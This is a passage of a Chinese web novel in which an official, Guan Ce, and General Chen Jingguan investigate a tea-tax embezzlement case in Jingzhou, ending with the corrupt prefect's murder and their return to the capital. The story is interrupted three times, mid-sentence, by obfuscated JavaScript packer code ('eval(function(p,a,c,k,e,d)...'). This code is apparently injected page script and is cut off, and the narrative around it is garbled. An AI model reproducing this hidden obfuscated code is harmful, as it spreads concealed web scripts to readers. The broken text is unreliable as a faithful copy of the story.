关策笑盈盈地舔着脸跟在他二叔后面,而关家二叔斜眼瞧了一眼他,不耐烦地“嗯”了一声。 “那今年的收成还好?” “自然比不了知州,是吃官家饭的,旱涝保收。” 关家二婶听着院子吵闹,也探出头来看,看到是关策,一下就冷了脸。 她原本对这个侄子很看好,还想着将自己的小外甥女介绍给他,结果谁知道左疆奇一来,他成了光杆司令,走到街上都要叫人调笑。 “二婶说笑,我能有今天全靠各位长辈,我不敢忘,不敢忘。” 关策继续赔笑,而他身后的平芜和席英默不作声,一人抱着一把刀剑立在关策两旁。 “怎么,关知州要在家里耍耍官威?寻寻面子?” 关家二婶是个厉害角色,嘴上不饶人,她看关策不敢应声就越挑衅道:“怕是攀上了新来的将军,早忘了我们这些穷亲戚吧。” 关策被二婶怼得哑口无言,面对这些长辈,他心里打下的草稿一个字也说不出来。 他父亲是关家长子,但是走得早,刚让关家的茶铺兴旺了一把,就染了时疾丢了命,所以关策是在几个叔叔家混着长大的。 正因如此,关策觉得没人能给他托底,所以他成了第一个考出去的官。 实际上,他也早就知道自己家的生意让左疆奇有所染指,只是他出于私情,一直装聋作哑,但刘启的下场他也没忘,今日的这番话压在他心头很久了。 “那我直说了,”关策深吸一口气,用眼睛盯着眼前的二叔,“陈少将军下来是协助我彻查左疆奇贪墨一案,以他在广梁的名声,绝不是优柔寡断之人。可他今日还愿让我先来劝一劝您,怕是他顾及我的颜面,不然他的平远军查抄关家茶铺后,他也能得到他想要的答案。” 关策很冷静地说着,而他对面的关家二婶本还想嘲讽两句,却被自己男人赶回了屋里。关家二叔朝前走了几步,吐息间让关策不禁咽了口水。 “你在拿官威压我?” 关策故作镇定地回了一句“哪敢”,可他二叔却不打算放过他。 “你家祖宅我为何要留给你,你小小一个哭着上门的时候我又为何要收留你。关策,不能不吃奶了就骂娘啊,你觉得我们关家的生意好做吗?不如你辞官,接了你父亲的产业,自己来试一试。” 关家二叔在商场打拼了小四十年,从小与哥哥一起往来阙州做生意,他哪路官人没见过,可哪个不是一时高又一时低。 为此,当关策提出自己要考学的时候,他更多的是为他担忧 但他对这个侄子其实很是用心,那时关策去阙州考试,他随行时打点了很多人,所以对于关策能考上这件事,他并不意外。 不过这些他没有告诉关策,而他所做的,也全看在他大哥的面子上。 “你看不起我们投靠左疆奇,可我们想靠你,能靠得住吗?” 闻言,关策的脸一霎就红了,他哽在喉咙里的话再也说不出来了。 “所以关策你记住,自家人,永远是自家人。你二叔我没那么自私,我膝下就一儿一女,论这些家业,养他们三辈子也够了。养你,也够了。” 关家二叔的话一出口,反倒是席英和平芜面面相觑,他们不约而同地看着关策,时刻做好了抽身的准备。 “可我记得父亲说过,人该清白,手里的钱也该清白。您这宅子里流了多少茶农的血,您数得过来吗?” 关策说话时已经有些哽咽,他小时候其实没这么爱哭,可上了岁数,眼眶子浅,总是动不动就流泪。 而关家二叔此时也没了生气,暗自握紧了拳头。 “当时父亲拼了命换来一张出入阙州的官令,也因那时的操劳早早没了。他的那张官令,就是他为我们寻的正经营生,可您,太贪心了。” 关策谈起父亲,默默低下了头,可突然,他听到二叔笑了一声,紧接着就是有些无奈的语气说道:“正经营生?你猜猜这偷梁换柱的事情,是谁想出来了,你能有读书的头脑,你父亲功不可没。” 一瞬间,关策脚底一软,平芜立马上前扶住他,可还没等关策站定,关家二叔又继续说:“当日你中了举子,我第二日就快马往吏部尚书的府里送去一车龙井,而其中多半,都是黄金,不然你凭什么能替掉当时红极一时的进士?” 关策听着,只觉得后脊背发凉,他此刻也不用问了,他知道他的举人,怕也有叔叔的功劳。 可他这么多年坚持下来的原因,就是当时吏部尚书对他说的那一句“年少有为”。 原来他也是既得利益者,他也是,踩着那些茶农的尸体才爬到了现在的位置。 “当时左大人刚就任,去他门上送礼的人络绎不绝,我们也是想着让你能少受罪,所以常往来于他的府衙。但你,”关家二叔说到这,看着关策时眼中满是失望,“你和人家较什么劲。他来景州历练一趟就去阙州当大官了,你何故与他闹得不愉快。” 此时的关策已经听不进去什么了,他只觉得浑身发冷,他只想要离开。 “小策,其实你也明白对吧,所以你才将刘郴藏到了自己府上,怕被陈京观发现。” 关家二叔这话一出,抓着关策的平芜手上的力度不自觉加大了,他侧过头看了席英一眼,而席英的手慢慢扶到了剑上。 “所以,我与你们,早就是一丘之貉了。” 说罢,关策没有再作停留,他向自己的二叔举了一躬便走出院门,随后的一路上他都一言不发。 平芜与席英此刻对他充满怀疑,名为保护,实为押解,一前一后围着他。 “你们不用担心,我会与少将军自白。” 关策说着,又低下头苦笑,此时的他与白天看到茶农尸体时的他一样无力,但若说那时的关策是悲从中来,现在的他就是自惭形秽。 等三人回到客栈,陈京观早就坐在桌边候着了。他看到平芜向他递眼神,他微微点头示意。 “少将军,对不起,我做不到。” 没有意料中的失望和责备,也没有宽慰和关怀,关策的话说完,只剩下房中一片沉寂。 关策勾着腰窝在椅子上,可又不禁想要抬眼打量陈京观,而他刚一有动作,就听见陈京观低声说道:“所以你那日拦我,不让我去后院,是怕我看到刘郴吗?” 关策的眉眼微微一颤,随后只见他缓缓点头,然后屈膝跪在了陈京观面前。 “我一时的恻隐之心,害得您也要赔上前程。” 陈京观没有去扶关策,而是稍微朝他的方向靠过去,伏下腰,盯着眼前打颤的人。 “上一次我见到在我面前不停发抖的人,是害怕我要了他的命,那你呢?” 关策抿了抿嘴,将头压得更低。 “我怕您看不起我。” “不,是你怕你看不起自己。” 陈京观一语道破关策心中所想,而眼前的人默默受着,已经心如死灰。 “是啊,我高傲了这么久,久得让我眼高于天,可我被迫低头的时候才看见,好多血啊,他们就倒在我旁边,他们其实是我的祭品。” 关策说着,突然抬头看着陈京观,歪着头笑了。 “少将军,你可能一辈子也不会明白,当你以为你自己干干净净一身白的时候,你的背后,有人咬着牙,满手是血的托着你。到这时候,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“关策,从你开始收集茶税证据的时候你就该知道,自古忠孝难两全,你也不会是例外。” 陈京观的话说完,关策已经成了无地自容的代名词,他将脑袋深埋进胸腔,只等着陈京观发落。 而陈京观没有再言语,他微微侧身向董辉示意。片刻后,一个乞丐样的人被带进了屋里。 “刘郴,你可认罪?” 陈京观朝着眼前的人说,而那人跪在地上,动作间扯到了伤口,让他不禁吸了一口凉气。 “罪臣刘郴,认草菅人命,徇私枉法,贪墨钱财,卖官鬻爵,知情不报……” 刘郴的话还没说完,就被旁边的关策一把抱在了怀里,他此刻乱糟糟的头发上还沾着草屑,看见关策如此动作,忙推开他。 “以上罪过,全是罪臣一人所犯,与关知州无关。” 关策闻言立刻要开口替刘郴辩解,却被陈京观用手势拦下了。 “我知道你要说什么,你二人此刻没必要互相袒护,等我的折子递上去,皇上会派大理寺下来查,该是谁的罪,我一个也不会替你们隐瞒。不过戴罪立功的机会,你们要不要?” 刘郴与关策闻言相互看了一眼,有些迟疑地点头。 “刘郴你做了这么多年市买司司丞,我不信你一点准备也没做。你既然能在你父亲出事后选择告发左疆奇,证明你手里应当有除了账簿以外的证据。至于关知州,”陈京观叹了一口气,“明日你再去一趟你二叔家,该说什么你也该清楚了。他这么多年做的事不可能一笔勾销,但是他若能配合揭发左疆奇,我可以替他说清,以他家财产,买他一条性命。” 刘郴应了一声,可关策似乎有些犹豫。 “他的全部家财?” “对,除了你家祖宅以外的全部。” 陈京观看着关策,而眼前的人像是有些泄气,但是他还是应下了。 “明日,我要去会会这位左大人。” 45.景州茶税(五) 次日清晨,刺史府的大门刚打开,睡眼惺忪的小厮就看见乌泱泱一片枕戈披甲的士兵立在门前,他连滚带爬跑到主卧去禀报。 “大人,大人!阙州那位少将军来了!” 小厮的喊声惊醒了整个刺史府的生灵,连立在门廊上休憩的鸟雀都四散飞尽。可主卧没有声响,那扇红木雕出来的小门紧紧闭着。 “大人……” 小厮急匆匆定在那木门前,嘴里的话刚要开口,就听到里面传来女子娇媚的轻笑。 “你家大人累了,且要一会睡呢,让那个什么少将军去侧厅等着吧。” 小厮本要开口去劝,就听到里面有什么东西砸在了门上,发出巨大响声。他吓得连退三步,只好先去安抚门口的不速之客。 “少将军您请,我家大人昨夜操劳,如今还在休息,不过我替您叫过了,他让您在侧厅等等,他收拾下就来。” 陈京观轻轻挑眉,让列队在门口的平远军就地扎营,自己带着董辉走了进去。 量说他也去过不少大臣家中的宅院了,可左疆奇的所在,算得上数一数二的豪华。 可能是地处景州的原因,他没有京官谨小慎微的必要,便将一切华丽又繁琐的装饰都堆砌在自家府院里。 不过这一切在陈京观看来,全然就是小人乍富后的虚荣心作祟。 “你家大人平日几时起?” 陈京观坐在侧厅的椅子上等了一会,稍有厉色地问到。那小厮见机拿了个靠枕让他靠着,又去后院端了杯茶递上来。 “回少将军的话,我家大人往日卯时就起,有一堆事务等着他呢。” 小厮说着话,或许也觉得有些心虚,便往旁边稍了稍。 “如此勤劳,怪不得长公主这般看好左大人。想必不出几日,你也要跟着进京了吧。” 陈京观端着茶杯抿了一口,是上好的遥州龙井,他说话时看着小厮,脸上挂着他招牌的笑。 “少将军说笑,您才是当今朝堂的红人。” 陈京观闻言,脸上的表情精彩非常,他轻轻咬着下唇作出思考的样子,而那小厮也意识到自己多嘴了,立马跪倒在他面前。 “小的多嘴妄议少将军,还请少将军赎罪,不不不,是请您饶命。” 那小厮在地上跪着磕头,而陈京观看了身侧的董辉一眼,发现他也察觉出些不同寻常的意味。 “你刚才说我是朝堂的红人,怎么,你对我如此了解?或者说,对南魏朝廷如此了解?” 陈京观没有想要放过这小厮的意思,他抓住刚才的漏洞不放,继续逼问着。 “小的也就是听我家大人平日说过一嘴。” 那小厮现在怕得要死,恨不得冲进卧房将左疆奇揪出来,反正横竖都是死,他可不想死在杀人如麻的陈京观手里。 “那就是你家大人对我很有兴趣,才会常常记挂我。可是不应该啊,我等了快半个时辰了,人呢?” “这儿呢。” 陈京观的话刚说完,就看到一个有些臃肿的人拖着步子进了侧厅。 “在下左疆奇,给少将军请好。” 左疆奇敷衍地摆手行礼,下一秒脸上风云突变,一脚就将瘦小的小厮踹出去几米远,那小厮捂着胸口跪在地上,身子还发着抖。 “没脑子的东西,几句话就能惹少将军不高兴,还不快滚。” 左疆奇说完又转过身子来,陈京观这时看他,只觉得他和关策简直像是一对反义词。 “少将军今日登门,有何贵干?” 左疆奇嘴上说着,但是眼神却满是轻浮。 董辉顺着他的眼神转头望了望,看见他离开的卧房此时敞着门,一个纤纤女子倚靠在门上正朝着这边搔首弄姿。 “左大人竟不知我为何而来,不该啊,我听那小厮说起,大人对我很是关心。” 此时的左疆奇面露愠色,索性那小厮跑得快才逃过一劫,他听得出陈京观话里有话,但他肚子里没什么墨水,犹豫了半天也想不到怎么驳回去,就只能应承地说一句:“少将军的威名,天下人都知道。” 陈京观没有在意他避重就轻的话,他打了个哈欠将身子调整到更舒服的姿势,仰着头看左疆奇。 “左大人府里的茶不错,我也好不容易来趟贵地,大人不妨给我推荐几家不错的铺子,我好采买些回去。” 见陈京观提到了茶,左疆奇那顶出来的肚子都显着他的紧张,上下颤了颤。 “这些小事怎么能麻烦您,我回头让人买了送到您府上,准是一等一的好茶。” “当真?” 陈京观说完轻笑了一声,随即起身准备离开。而他这句话纵使是胸无点墨的左疆奇也能品出其中意思,他立刻答了一句:“保真。” 陈京观笑着点头,可此时的左疆奇倒有些不放心,追上去试探地问:“少将军再没什么要说的?” 陈京观摇头,脚上的步子不停,左疆奇就跟着他来到了门口,那大门一打开,他也被眼前的士兵吓了一跳。 “左大人若是没什么要与我说的,陈某就此别过了。不过下次再来的时候,我带些您想要的来。许是您看见了,就肯说了。” 陈京观这句话语焉不详,可直觉告诉左疆奇,他现在的处境不算乐观,他便又抬手拦下了陈京观。 “您还有什么要问的,我知无不言。” “当真?” 陈京观的语气与刚才如出一辙,他知道左疆奇这号见利忘义的最是贪生怕死,却不觉得他能这么快松口。 “我就是他们扶上位的石狮子,只能吓唬人,开不了口的,敬奉给我的也大多进了他们的口袋,只要您能保我,我就是您的人。” 左疆奇一改之前的傲慢神色,背过身一脸谄媚样。 “这得看您给我的,够不够换您这条命。” 陈京观配合这左疆奇,也压低了自己的声音。 “那您回去等着,我有好东西给您。” 左疆奇一副故作高深的模样逗笑了陈京观,他点头应了声好就走下台阶。 等着他们走远,街市也就热闹起来了,陈京观散了身后的平远军,让他们各自回岗巡守,然后就听到董辉跟在他旁边开口。 “你真信他?” 陈京观笑了一声,应到:“我信他?我信他还想在杀我一次。” “那你最后与他说的话是什么意思?” 陈京观撇了撇嘴,边走边说:“他要是想向我投诚,那迎接我的就不是大火而是他的罪己诏了,他这种人能爬到现在的位置,全靠心眼。我就是想等着他先出招,见招拆招总好过盲人摸象。” 董辉对陈京观的话不置可否,只是跟在他身后往回走。而他们刚走到客栈门前就看到一个小队护着刘郴回来了。 “少将军,这是我上任以来市买司茶税的所有真实账目,其中也包括我家茶铺从中收取的回报记录。那些放在后院的账簿是假的,我和关知州怕您也是……” 刘郴的话没说完就停了,脸上的难为情被陈京观一览无余,他知道刘郴想说什么,便朝他笑了笑以示安慰,迎着他上楼。 “当日关知州去阙州告状,你可知道?” 等陈京观坐定,刘郴本想跪着回话,却被陈京观用手扶住了,让席英给他搬了个凳子坐在自己对面。 “知道的,当日关知州进京前来寻我,让我将账册小心收好,又让我们一家住进了府衙,我们都知道这是最后的机会了。” “为什么这么说?” 陈京观支着手看刘郴,而刘郴一直低着头。 “想必您也听到消息了,左疆奇不日就要升任御史中丞,以他的为人,不会将我们这些人留作他授人以柄的祸患,我们再不行动,就再也没有开口的机会了。” 刘郴说罢,不禁叹了口气,而陈京观点头对他的话表示理解,下意识咬着放在嘴边的手指。 “那在他上任之前,你们的生意是与谁往来?” 刘郴没有立刻回应,陈京观瞧见了他的犹豫,了然地开口道:“与关策有关对吗?” 刘郴闻言点了点头,接上了他的话。 “这桩生意最初是关伯父寻来的,不过他具体是与阙州哪个贵人牵上线的我不知道。” 陈京观轻轻挑眉,示意刘郴继续说。 “后来他死了,因关策年幼,关家二叔就掌了权,不过在左疆奇出现前,他们一直做的都只是以次茶装好茶的事情,直到他与我父亲聊天时无意间提到了茶税,这才牵扯出这许多事情。” 刘郴的话和陈京观之前打听到的消息一致,可眼前的人自从昨晚被董辉在旧庙里发现后就变得唯唯诺诺,陈京观总有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见早上还花容月貌的娇媚娘现在披头散发地让人拷着,身上那几片料子成了真的遮羞布。 “可有人指使?” 陈京观转头看着眼前的人,而他摇了摇头。 这案子太简单了,可死的人却不简单。 “你还有什么要说的?” 陈京观信步走到跪着的女子面前,而她却好似突然松快了,仰着头笑着答陈京观。 “贱婢就求一死,还望少将军成全。” 说罢,那女子又恢复了刚才的模样,低着头一直拨弄着自己胸前那枚银锁。 “关知州你怎么看?” 突然被点到的关策慌了神了,半天吐不出一句话,他此刻站在董辉后面,用眼睛偷偷着地上盖着白布的人。 “关策,如今左疆奇已死,茶税案,你还查吗?” 陈京观说着,用手拍了拍关策的背,而关策突然将驮着背挺直,说了一声“查”。 “那好,如今刺史被刺,原应由皇上亲派大臣来查,可此案人犯已落网,且案情清晰,你作为景州知州应当仔细记录,然后随我去阙州回禀。”陈京观见关策还是一副魂不守舍的样子,便又加了一句,“明白了吗?” 关策愣了片刻,才如梦初醒般点头,不过他又很快跟上了陈京观的脚步。 “那茶税一案,该当如何?” “如今人证物证俱在,倒时候全看关知州的了。” 陈京观笑着拍了拍关策的肩,而他也后知后觉地领悟了其中深意,不过事到如今他还有些恍惚,眼睛里满是慌张。 陈京观没有再理会关策,他作为皇帝钦点来查茶税的大臣,不应该过多涉及景州内部的事情。 但是左疆奇死得太突然了,他看那女子时有种说不上来的熟悉,他向前走了两步又忍不住回头望。 “你说,左疆奇最后要给我的,该是什么?” 陈京观转头问董辉,而身边的人停了片刻,缓缓开口。 “恶人自有恶人磨,报了冤仇是若何。此时再看,左疆奇好像对自己的死有所预料。” 陈京观闻言轻点着头,示意后面两个小孩跟上。 “可是他,又是谁的弃子?” 46.景州茶税(六) 左疆奇的后事办得很仓促,因他终还是没被定罪就死了,朝廷本着人本情怀派了大臣下来慰问亲眷,却发现他家中除却一个养在崇州远乡的弟弟,再没人了。 他的死却也意外成为景州茶税案的助力。 作为本案的首要嫌疑人,那些昭示他过往罪状的证据,在他下葬后陆陆续续被递到陈京观手里,一些他从未想过的事情也露出眉目。 “少将军,今早又有茶农要来作证,还有些领了伤员来的,说是左疆奇仗势欺人,平日里动不动就对百姓拳打脚踢,家中下人枉死的很多。” 陈京观听着刚进屋的兵士汇报情况,轻轻点头却没说话,他手里拿着关策那日送来的地契和银票。 不知关策与他二叔说了什么,一夜之间关家就转让了景州的所有铺子,将它们全换成了银票或现银,而那些地契也有一应俱全,如今都摆在陈京观面前。 那日在刺史府见过关策后,陈京观让他回家做案情详述,又让他整理了手头的茶税案证据,算起来也有四五天没见到他了。 “平芜,你那日随着关知州去拜访他二叔时,可有异常?” 平芜闻言摇了摇头,而刚进屋的席英听见了这句话,她将手里刚码好的账册堆在桌上,开口道:“我倒有一点没想明白。” 陈京观听着席英的话,抬头瞧了她一眼,示意她继续说。 “或许是我多疑,那日关知州与他二叔的对话,我觉得不该当着我与平芜的面讲。纵使关知州信任您,可是他二叔是左疆奇的人,不该对我们吐露那么多肺腑之言。” 席英说话时还在思索关家二叔的情态。 那日他们刚进屋时,他的态度并不算好,可是说着说着,他突然就开始对关策讲些关家生意的隐情。 若这些事关策原本不知,那他们也就不该知道。 但是他二人的交谈完全没有要避讳的意思,甚至说关家二叔让他夫人回了屋,关策却没有让他们回避。 要说只凭他对陈京观的信任就如此,那他倒是少有的性情中人。但他在景州没权没势混了十年,虽说没做出什么成绩,却也没惹什么事非。 如今左疆奇一倒台,那些原本跟在他屁股后面的人突然都转投了关策的阵营,就连他那被烧掉的府衙,他们来了小一个月都没人收拾,这几天突然开始动工重建了。 所以要论左疆奇之死最大的受益者,那非关策莫属。 这一切看起来都在暗中指向关策,但有一件事陈京观没想清楚。 以他们手头的证据,想要治左疆奇的罪足够了,纵然不能一举将他扳倒,可是他们惹上麻烦的风险却也小很多。 如今这局面是一步险棋,他不敢下,他却不知道关策敢不敢。 “你俩收拾收拾去租车铺叫几辆马车,然后让人把所有账册和证人证言都搬上去,每三个时辰换一班人巡守,我们后天一早就进京。” 陈京观说罢起身,招呼着董辉要出门一趟。 在一切看似尘埃落定之前,他要确保自己不是引狼入室。 “关家那些亲戚没说什么?” 在去关策家的路上,陈京观步子放得很慢,如今街两边的百姓都认识了他,他彷佛回到了广梁的日子,走上两步就要应着迎上来的招呼。 “那日我让副将随他去的,他一路上神色如常,还是那副噤若寒蝉的模样。不过他到了二叔家倒是有了气势,将你说的话大致作了通传。据说那一夜关家府院里哭声震天,但是第二日一早关策再去的时候,就顺利拿到了那些东西。” 陈京观若有所思地上下摆头,没有再出声。 他们走到关家祖宅的时候,那里一改当初的门庭冷落之势,有些面熟的客商借着作证的名号,实际上大包小包来送礼。 不过这些人一见到陈京观,连忙收敛了手上的动作,恭恭敬敬举躬,默契地为他让出一条路来。 “各位倒是积极,这关知州手上的官司还没结呢,你们倒也笃定,就上赶着来了。” 陈京观语气里的嘲讽不加掩饰,他步子还没跨进门里,就听到里面的关策叫了一声。 “万万不可,郑叔叔你这是做甚?” 关策的声音应着陈京观刚才的话,在此刻显得颇为有趣。 那些聚在门口的人都有些心虚地往后退了退,但是却没有空手而归的打算。 “也罢,惯是些眼观六路耳听八方的主。” 陈京观说着,带着董辉走近了关策的书房。 他进门时故作思量,停在门边敲了几声,等着关策回了一句“请进”,才迈着步子进去。 “少将军是您啊,您来不用敲门的。” 关策原本不经意抬头,等他看清楚眼前的人时,立刻从椅子上站起身来,放下手上的笔就跑过来行礼。 “关知州客气,前两次借了您的地方,我还没来得及向您赔不是。” 陈京观脸上笑着,不动声色地向后退了一步拉开他与关策的距离。 “少将军这是怪我?” 关策说话时又成了怯懦的样子,佝偻着背,几个字之间叹了许多气。 “知州哪里的话,我倒是怕您怪我。” 陈京观说罢越过关策,走到了他的书桌旁。 原本立在那准备再向关策使些糖衣炮弹的人,见状立刻贴着墙边跑了,董辉就过去将书房的门关上。 “如今就你我三人了,关知州也歇歇,我们好好聊聊天?” 关策没应声,但是跑过去给陈京观抬了一把舒服些的椅子,而自己坐在八仙桌旁的板凳上。 “我预备着后天进京,不知知州这边准备的如何?” 关策点着头应了声好,随后又偃了声气。 “那左疆奇之死的案卷知州也准备好了。” 关策继续点头不说话,随后又觉得不妥,就起身将案卷递给了陈京观。 “对于他的死,你现在有什么想说的吗?” “少将军是怀疑我?” 关策的声音颤颤巍巍,陈京观手上翻着册子,那上面将人证物证都罗列的很清楚,那女子的生平经历也都写了上去了。 不过在籍贯那一栏,陈京观看到了崇州。 “知州后来还有审过她吗?” 关策点了点头,起身将陈京观手里的册子往后翻了几页,那上面对问讯的经过记录得很详细,但是那女子所说的依旧是那日她告诉陈京观的,几乎一字没差。 “她的理由是左疆奇强迫她?” 陈京观的手指划过那一行字,等他读出来时,其中的意味让关策显得更紧张。 “是,她说她本是崇州青楼的妓子,原是左疆奇的弟弟先遇上了她,他二人情投意合,可奈何楼里的妈妈要的价格太高,他们就想着来景州借些钱赎身,结果左疆奇见色起意就强留下她。而她原本那个郎君见哥哥喜欢,索性借花献佛换了一大笔钱回了崇州,从此再也没露面。” 关策的语气里还有些许惋惜,眉头紧皱,等他说完,陈京观了然地点头,可下一秒又继续问:“她是何日来的景州?” “一个月前。” 关策答话时用眼睛瞟着陈京观,双手暗暗扣在一起。 “那她为何等了一个月,非要寻我登门之后刺杀?” “这个问题我问过她,她说是少将军您走后左疆奇在府内大闹了一场,还斥责了与您说话的那个小厮,然后就将她拉进屋里,比往日更要凶狠上许多,她受不了了,就用床边的钗子插了他的脖颈。” “这个理由”,陈京观听着关策的话有些发愣,“你觉得合理吗?” 关策没敢说话,而陈京观继续说道:“你也觉得不对,但是你不想查了对吗?” 陈京观将手上的册子往桌上一摊,风吹之间恰巧停留在了那女子的画像那一页。 “关策,你远没有你表露出来的这么胆小怕事。我要带你进京,你知道这意味着什么,那你也该明白,你不该对我再有隐瞒了。” 陈京观的话刚说完,关策就跪到了地上,他双手撑着地,哭得有些发抖。 “十年了,我受了他的气十年了,我没有多少十年了。他死了,这是报应,这是他作恶多端的报应。人不是我杀的,况且有人认了这个罪,那我为何不能就此了了?他不值得我再花心血,他就该长长久久埋在地里。” 此时关策再说话时,虽然因为哭泣而有些哽咽,可他的话却说得无比坚定,等他说完,他挂着满脸泪痕抬头望陈京观。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是一个与他现在看起来毫不相关的字眼,可是每一个入仕之人,谁敢说心里没出现过这两个字。 不过野心从来不是贬义词,只有当它变成贪心的时候,才会有人心不足蛇吞象之意。 “我二叔替我做了许多,我也是那时才知道。我一直持着怀才不遇的愤懑,一直秉着清冷孤高的性子,这些放在以前,我还能说一句只是对不起我寒窗苦读十余载,可放到现在,就是对不起我关家上上下下所有人的期许。” 陈京观静静听着,而关策越说,他的脊背就挺得越直,脸上那些被岁月刻画出的沟壑渐渐被少年意气填平。 陈京观觉得二十岁的关策,应该就是如此。 “但我不能许给你什么,因为我也不知道我能走到哪一步。” 陈京观开口,而关策笑着打断了他,微微朝他举了一躬。 “少将军给我的足够了,景州茶税案之后的事情,我会做好的,您放心。” 关策说罢,径直走出书房来到院外,那些人盼星星盼月亮终于见到他了,便一窝蜂涌了上来。 “承蒙不弃,可我关策自认并非牢靠之人,恐辜负各位的信任。我今日借机在此立势,终身不收门客,亦不行敛财之举。各位请回吧。” 那些挤在门上的人本还要说什么,但他们向后看时瞧见陈京观就立在那里,便一个个臊眉搭眼地往回走。 “少将军若信我之前所说,那我此时所说亦是心中所想。” 等着门口的人都散了,关策又回到了陈京观身边,陈京观没应声,抬手拍了拍他的肩,欲带着董辉离开。 “少将军,多谢!” 门口的背影稍微停顿,向着身后的人挥手,月色下陈京观的影子被渐渐拉长,而关策望着他有些出神。 “刚抓到崇宁的一点把柄,如今就这么断了。” 离关家有些距离后,董辉还是没忍住开口,而他身边的陈京观叹气的同时却也笑了。 “我毕竟不是商人,允许自己做些与己身无义的事吧。况且这事成了,那是大义。” 47.景州茶税(七) 三日之后,董辉一早带着人马候在城外,陈京观去关家祖宅接关策时遇见了他二叔。 其实陈京观在街上打探消息时,听到过关邵群的名字。 虽说他私底下做着以次充好的买卖,但是那些跟着他的人也的确都过上了不一样的日子。所以坊间传闻他散尽家财时,百姓的语气里竟还有些惋惜。 不过这也足以说明他的厉害。 事情发展到现在,茶税贪墨主使被帽子被扣在了刘启的头上,可是按照刘郴所说,那背后多有关邵群的助力。 陈京观在关家祖宅外站着,看着关家的佣人来来去去搬着行李,打算等着他们收拾妥当了才派人去关策房里拿证据。 “少将军来景州多日,老夫倒也没寻到个合适的机会去拜访,实在是我的过错。” 关邵群拄着拐杖向陈京观行礼,他身后的关家婶子就斜目瞧着陈京观,俨然是把他作为这一切阴谋的始作俑者了。 “关老先生说笑,倒是我这一个月来多有叨扰,幸得您照拂,才能在这景州行路畅通。” 陈京观笑着回答,但是关邵群听得出他话里有话,他轻咳了一声朝小厮摆摆手,那跟在后面的仆人就递上来了一个精美的小铁盒。 “这是我们家最后一批龙井了,其实不必遥州的差。” 说罢,关邵群就伏着身子将手里的东西递给陈京观,而那盒东西一落到陈京观手上,他就知道了其中的意思。 “这也是我能为关策做的最后一件事了,望少将军在阙州多多关怀。他性格耿直,但又懦弱,总是个惹祸的。” 关邵群说话时眼睛盯着院里的关策,此时的关策正看着人往马车上搬书卷。 虽说他的调任没下来,但是陈京观写给萧霖的回书上提到了他,而萧霖的意思也是让他离开故土,少些牵扯。 “关知州十年饮冰难凉热血,这样的坚持,放在任何地方都会成功的。” 陈京观没有正面回复的关邵群的话,但是他让董辉收下了那个盒子,然后将它放在了关策的行李中。 “其实说实话,我不求他官运恒达,他四十好几了,往后余生能有人照料,最好是个知心体己的,我也就能下去应了他父亲的嘱咐。” 关邵群说完,关策也从院子里出来了,陈京观朝他笑了笑示意他先去,随后朝着关邵群的位置举了一躬。 “老先生看顾好自己。” 说罢,陈京观在抬眼时看到了关邵群意味深长的目光,不过他没太在意,招呼着大家往城外走。 等他们行至城门,那景州城外已经聚集了不少来送行的茶农。 他们平日日子清苦,现在来感谢时手里不是提着家里养了多年的母鸡,就是捧着一大早打出来的小米。 “各位乡亲的好意陈某心领了,但是礼物我就不收了。快到年关了,大家留着过年吃吧。” 陈京观站在马车的踏板上朝远处喊,等他说完又觉得不放心,就补了一句。 “景州的茶,都是好茶,景州的人,也该清清白白。往后每到收成的日子,我让我师父的商队来收,咱们把茶叶,卖到西边去!” 他这话一出,那些上了年纪的都开始抹眼泪,而陈京观想要从马车上下去时,他旁边递过来一只手,他抬头一看,是关策。 “少将军大恩,我替景州的百姓谢过了。” 陈京观笑了笑,搭上了关策递过来的手,这浩浩汤汤的队伍开始朝前挪动。 不知是不是心情使然,关策这一路上走得很快,陈京观从他身上已经看不出那日回景州时的颓唐。 “关知州想好明日大殿上要如何说了?” 陈京观冷不丁开口,关策脸上的笑意就收敛了一些。 “想好了,昨夜从头到尾顺利了一遍,保准能让您满意。” 关策说话的时候依旧目视前方,倒是他最后那句引得陈京观不禁皱眉。不过他也没有多问,放任着关策一路雀跃地进了城。 他们走的时候是初秋,现在回来已是秋末。 景州相比阙州更靠南,所以气温变化的不是很明显,等着他们越往北走,那阵阵秋风直钻陈京观的领口。他握着缰绳的双手,时不时要脱开吹一口热气暖暖。 “少将军自雍州来竟这般怕冷。” 一个多月的相处,除却陈京观冷眼以对的时候,关策其实对他多了几分亲近,少了几分敬重。毕竟说起来,他与自己的侄儿差不多大。 陈京观听着关策的嘲弄只是低头笑了笑,然后将自己的手抱在胸前暖着。 他们到阙州时已经临近午夜,街上打更的看见他们,刚要报告巡守,定睛一看是陈京观,就远远的举了一躬走开了。 为了方便第二日一早赶在上朝前将账册送进宫里,陈京观还没入京时就传信给夏衍,等着他们刚跨进城门,夏衍来接应的小队就迎了上来。 “那少将军我们就此别过,你自己多保重。” 平远军是陈京观的私兵,他没有由头带着重兵入城,所以董辉默契地停在了阙州城门外,带着那三千人朝陈京观行礼。 不知为何,与之前的分别不同,陈京观这一次舍不得董辉离开。 许是平海走了的缘故,他变得更依赖董辉。 在他眼里平芜和席英无论如何都是小孩子,而自己能说得上话的,只剩董辉了。 可是他也明白道理,于是笑着朝他们摆手,目送眼前的人在夜色中远离。 “师兄没想着为董叔要个一官半职?” 等着眼前的人消失在远处,平芜看着久久没回神的陈京观问道。 陈京观叹了口气转过身边走边说:“他自始自终都热爱着北梁,我想他不会愿意穿着南魏朝服的。” 说罢,夏衍接过了陈京观手里的缰绳,又给他递过来一件披风。陈京观没穿,转身给了他背后的席英。 